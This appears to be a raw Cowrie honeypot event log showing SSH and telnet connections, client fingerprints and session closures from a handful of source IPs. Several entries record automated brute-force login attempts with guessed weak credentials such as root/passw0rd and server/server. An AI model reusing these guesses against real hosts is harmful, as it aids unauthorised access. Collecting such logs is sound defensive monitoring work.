{"eventid":"cowrie.session.closed","duration":41.46937870979309,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:14.049026Z","src_ip":"152.42.224.71","session":"70374cc3a5b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":36236,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb10aed4636a","protocol":"ssh","message":"New connection: 31.40.204.166:36236 (159.203.135.109:22) [session: bb10aed4636a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:14.320583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:14.324949Z","src_ip":"31.40.204.166","session":"bb10aed4636a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:14.520514Z","src_ip":"31.40.204.166","session":"bb10aed4636a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49114,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebb65fa67c56","protocol":"telnet","message":"New connection: 152.42.224.71:49114 (10.17.0.5:23) [session: ebb65fa67c56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:14.833694Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:15.303208Z","src_ip":"31.40.204.166","session":"bb10aed4636a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.204798221588135,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:16.334445Z","src_ip":"152.42.224.71","session":"1a2662f619e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:16.487593Z","src_ip":"31.40.204.166","session":"bb10aed4636a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58436,"dst_ip":"10.17.0.5","dst_port":23,"session":"52d55ec2e250","protocol":"telnet","message":"New connection: 152.42.224.71:58436 (10.17.0.5:23) [session: 52d55ec2e250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:19.526323Z"}
{"eventid":"cowrie.session.closed","duration":12.402006149291992,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:20.580657Z","src_ip":"152.42.224.71","session":"1b63778c55c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58438,"dst_ip":"10.17.0.5","dst_port":23,"session":"d36069ab196f","protocol":"telnet","message":"New connection: 152.42.224.71:58438 (10.17.0.5:23) [session: d36069ab196f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:21.646663Z"}
{"eventid":"cowrie.session.closed","duration":49.57780909538269,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:21.997580Z","src_ip":"152.42.224.71","session":"b9117a354933","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58450,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2029bcac1ff","protocol":"telnet","message":"New connection: 152.42.224.71:58450 (10.17.0.5:23) [session: f2029bcac1ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:22.579954Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58462,"dst_ip":"10.17.0.5","dst_port":23,"session":"57c0453f1aab","protocol":"telnet","message":"New connection: 152.42.224.71:58462 (10.17.0.5:23) [session: 57c0453f1aab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:22.619460Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58466,"dst_ip":"10.17.0.5","dst_port":23,"session":"be4f7c1546c2","protocol":"telnet","message":"New connection: 152.42.224.71:58466 (10.17.0.5:23) [session: be4f7c1546c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:23.935580Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53436,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d91d85aec3c","protocol":"telnet","message":"New connection: 152.42.224.71:53436 (10.17.0.5:23) [session: 4d91d85aec3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:25.990880Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":38574,"dst_ip":"159.203.135.109","dst_port":22,"session":"73a5e302a13c","protocol":"ssh","message":"New connection: 31.40.204.166:38574 (159.203.135.109:22) [session: 73a5e302a13c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:26.284395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:26.304026Z","src_ip":"31.40.204.166","session":"73a5e302a13c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:26.487099Z","src_ip":"31.40.204.166","session":"73a5e302a13c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty1","message":"login attempt [root/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:26.998023Z","src_ip":"31.40.204.166","session":"73a5e302a13c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":38336,"dst_ip":"10.17.0.5","dst_port":22,"session":"4eb69c402e11","protocol":"ssh","message":"New connection: 103.176.20.57:38336 (10.17.0.5:22) [session: 4eb69c402e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:28.103066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:28.107706Z","src_ip":"103.176.20.57","session":"4eb69c402e11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:28.122870Z","src_ip":"31.40.204.166","session":"73a5e302a13c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.01449489593506,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:28.278402Z","src_ip":"152.42.224.71","session":"aa590bd81926","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:28.360585Z","src_ip":"103.176.20.57","session":"4eb69c402e11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"antonina","message":"login attempt [root/antonina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:29.099806Z","src_ip":"103.176.20.57","session":"4eb69c402e11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:30.349222Z","src_ip":"103.176.20.57","session":"4eb69c402e11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":104.19266963005066,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:35.036544Z","src_ip":"152.42.224.71","session":"7a7df4674d96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.73133206367493,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:35.778430Z","src_ip":"152.42.224.71","session":"f42e7da8d2b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":36210,"dst_ip":"159.203.135.109","dst_port":22,"session":"9af2930d8959","protocol":"ssh","message":"New connection: 31.40.204.166:36210 (159.203.135.109:22) [session: 9af2930d8959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:37.908715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:37.918128Z","src_ip":"31.40.204.166","session":"9af2930d8959","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38788,"dst_ip":"10.17.0.5","dst_port":23,"session":"b997f0b94c7f","protocol":"telnet","message":"New connection: 152.42.224.71:38788 (10.17.0.5:23) [session: b997f0b94c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:37.930211Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:38.109557Z","src_ip":"31.40.204.166","session":"9af2930d8959","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38802,"dst_ip":"10.17.0.5","dst_port":23,"session":"162249f9b541","protocol":"telnet","message":"New connection: 152.42.224.71:38802 (10.17.0.5:23) [session: 162249f9b541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:38.278900Z"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123","message":"login attempt [botuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:38.690586Z","src_ip":"31.40.204.166","session":"9af2930d8959","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00121784210205,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:39.800859Z","src_ip":"152.42.224.71","session":"10eed1b8d53c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:39.990293Z","src_ip":"31.40.204.166","session":"9af2930d8959","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.248174905776978,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:43.774392Z","src_ip":"152.42.224.71","session":"52d55ec2e250","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.729933977127075,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:44.231249Z","src_ip":"152.42.224.71","session":"9f1208963e5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":101.73132181167603,"message":"Connection lost after 101 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:45.440512Z","src_ip":"152.42.224.71","session":"370ed2882526","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.52923226356506,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:47.076628Z","src_ip":"152.42.224.71","session":"13d555f73a23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38978,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7d81e33d1b1","protocol":"telnet","message":"New connection: 152.42.224.71:38978 (10.17.0.5:23) [session: d7d81e33d1b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:48.042303Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42464,"dst_ip":"159.203.135.109","dst_port":22,"session":"41e5895fea1f","protocol":"ssh","message":"New connection: 31.40.204.166:42464 (159.203.135.109:22) [session: 41e5895fea1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:49.982038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:49.991276Z","src_ip":"31.40.204.166","session":"41e5895fea1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:50.179377Z","src_ip":"31.40.204.166","session":"41e5895fea1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:50.620004Z","src_ip":"31.40.204.166","session":"41e5895fea1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38988,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fbe10d1768f","protocol":"telnet","message":"New connection: 152.42.224.71:38988 (10.17.0.5:23) [session: 1fbe10d1768f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:51.151524Z"}
{"eventid":"cowrie.session.closed","duration":120.00116109848022,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:51.707949Z","src_ip":"152.42.224.71","session":"4da0ad1cce97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.47416353225708,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:51.720257Z","src_ip":"152.42.224.71","session":"63b6d990db07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:51.813021Z","src_ip":"31.40.204.166","session":"41e5895fea1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38990,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c9c42878bb4","protocol":"telnet","message":"New connection: 152.42.224.71:38990 (10.17.0.5:23) [session: 3c9c42878bb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:53.626058Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.152.52.68","src_port":55705,"dst_ip":"10.17.0.5","dst_port":22,"session":"d89291ab77c2","protocol":"ssh","message":"New connection: 104.152.52.68:55705 (10.17.0.5:22) [session: d89291ab77c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:56.030486Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0005\\xca\u0001\u0000\u0005\\xc6\u0003\u0003g\\xe2B\\x907;\\xb6!\\xaf3Y\u001d\\x82\\xcaj=\r\\xee\b\\x86\\x9e\u0650\\x9a \\xbd\u000ft\\x95Z\u001b\\xe9 \\xac\\xbd\\x9d\u000f\u0001\\xb5\\xc9\\xff\\xfea\\xd2\u0016b=\u061b\\xc4~\\xec\\xf5\u0005\u06dc\u0012\u00076\\xaa\\xae\u001b\\xa3\\xea\\x98\u0000\u001a\\xc0+\\xc0/\\xc0,\\xc00\u0329\u0328\\xc0\t\\xc0\u0013\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0005\\xca\u0001\u0000\u0005\\xc6\u0003\u0003g\\xe2B\\x907;\\xb6!\\xaf3Y\u001d\\x82\\xcaj=\r\\xee\b\\x86\\x9e\u0650\\x9a \\xbd\u000ft\\x95Z\u001b\\xe9 \\xac\\xbd\\x9d\u000f\u0001\\xb5\\xc9\\xff\\xfea\\xd2\u0016b=\u061b\\xc4~\\xec\\xf5\u0005\u06dc\u0012\u00076\\xaa\\xae\u001b\\xa3\\xea\\x98\u0000\u001a\\xc0+\\xc0/\\xc0,\\xc00\u0329\u0328\\xc0\t\\xc0\u0013\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:56.035607Z","src_ip":"104.152.52.68","session":"d89291ab77c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:56.043736Z","src_ip":"104.152.52.68","session":"d89291ab77c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.152.52.70","src_port":41843,"dst_ip":"10.17.0.5","dst_port":22,"session":"d60a6f0ef38b","protocol":"ssh","message":"New connection: 104.152.52.70:41843 (10.17.0.5:22) [session: d60a6f0ef38b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:56.082028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:56.086808Z","src_ip":"104.152.52.70","session":"d60a6f0ef38b","protocol":"ssh"}
